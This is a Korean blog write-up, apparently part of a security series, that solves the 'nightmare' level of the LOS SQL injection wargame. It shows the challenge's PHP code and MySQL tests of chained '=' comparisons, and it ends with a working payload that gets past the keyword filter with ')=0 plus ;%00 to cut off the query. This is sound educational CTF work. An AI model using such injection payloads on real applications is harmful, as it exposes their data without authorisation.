<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~");
if(strlen($_GET[pw])>6) exit("No Hack ~_~");
$query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("nightmare");
highlight_file(__FILE__);
?>
코드를 한참 바라보다가, 산술연산자나 비교연산자를 사용해볼 순 없을까 라는 생각이 문득 들었다.
그렇게 로컬 sql 상에서 이런저런 테스트를 하다가 새로운 경험을 하게 되었다.
= 를 사용한 경험들 중, 조금 새로운 접근이였다. (다른분들에겐 별거 아닐 수 있음ㅜ)
문제에서 != 가 나온게 아마 힌트였던 것 같다.
로컬에서 예제를 통해 보자
mysql> select * from book;
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
| 2 | About Life | Life is alone | 1 |
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
| 6 | I'm hevton | by hevton | 4 |
| 7 | hi | hi | 5 |
+----+-------------+---------------+----------+
7 rows in set (0.01 sec)
--------
mysql> select * from book where description=('hi');
+----+-------+-------------+----------+
| id | title | description | maker_id |
+----+-------+-------------+----------+
| 7 | hi | hi | 5 |
+----+-------+-------------+----------+
1 row in set (0.00 sec)
참고로, description = 'hi' 랑 같음. 그리고 이는 description = 'hi' 가 true = 1 인 경우에 대한 결과라고 볼 수 있다.
나머지들은 description='hi' 가 false인 것.
--------
mysql> select * from book where description=('hi')=1;
+----+-------+-------------+----------+
| id | title | description | maker_id |
+----+-------+-------------+----------+
| 7 | hi | hi | 5 |
+----+-------+-------------+----------+
1 row in set (0.00 sec)
이렇게하면 description = 'hi' 가 true = 1인 것에 대한 쿼리다.
(참고로, 대부분의 프로그래밍 언어에서 true는 0이 아닌 수이므로, = 1말고도 = 2 = 3 등등 해봤으나, 이런 경우들은 먹히지 않았다.
sql에서 0과 1의 경우로만 false true가 결정되나보다.)
+ 쿼리 결과 갯수문제인가 해서, maker_id = 1인 레코드가 3개여서 maker_id=1=3 해봤으나 역시나 안된다. maker_id=1=1해야 세개 다 출력
--------
mysql> select * from book where description=('hi')=0;
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
| 2 | About Life | Life is alone | 1 |
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
| 6 | I'm hevton | by hevton | 4 |
+----+-------------+---------------+----------+
6 rows in set (0.00 sec)
이렇게하면 description = 'hi'가 아닌 것들만 출력된다.
(description = 'hi' 의 결과가 false인 것들. 즉 description이 hi가 아닌 것들.)
--------
이걸 이용하면 아래 쿼리를 통해 모든 결과를 가져올 수 있다.
(전제, description=''인 데이터가 없어야 모든 결과를 가져옴)
mysql> select * from book where description=('')=0;
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
| 2 | About Life | Life is alone | 1 |
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
| 6 | I'm hevton | by hevton | 4 |
| 7 | hi | hi | 5 |
+----+-------------+---------------+----------+
7 rows in set (0.00 sec)
이렇게하면 description='' 이 아닌 것들을 전부 가져오게 된다.
--------
대충 아래와 같은 원리라고 봐도 된다.
mysql> select * from book;
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
| 2 | About Life | Life is alone | 1 |
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
| 6 | I'm hevton | by hevton | 4 |
| 7 | hi | hi | 5 |
+----+-------------+---------------+----------+
7 rows in set (0.00 sec)
mysql> select description='hi' from book;
+------------------+
| description='hi' |
+------------------+
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 0 |
| 1 |
+------------------+
7 rows in set (0.00 sec)
mysql> select description='hi'=0 from book;
+--------------------+
| description='hi'=0 |
+--------------------+
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 0 |
+--------------------+
7 rows in set (0.01 sec)
true = 1인 것을 쿼리의 조건식으로 내걸면 그것이 출력되는거니까.
이제, 이걸 문제에 적용해보자.
주석 우회는 ;%00(=%3B%00)을 사용했다.
#이나 --가 막혔을 경우 이 방법을 사용한다.
pw=%27)=0%3B%00
->
query : select id from prob_nightmare where pw=('')=0;') and id!='admin'
이렇게 되면 pw가 ''이 아닌 것들을 가져오게 된다.

'[보안] > [LOS]' 카테고리의 다른 글
[LOS] DRAGON (0) | 2020.12.28 |
---|---|
[LOS] XAVIS (0) | 2020.12.27 |
[LOS] ZOMBIE_ASSASSIN (1) | 2020.12.22 |
[LOS] SUCCUBUS (0) | 2020.12.19 |
[LOS] ASSASSIN (0) | 2020.12.18 |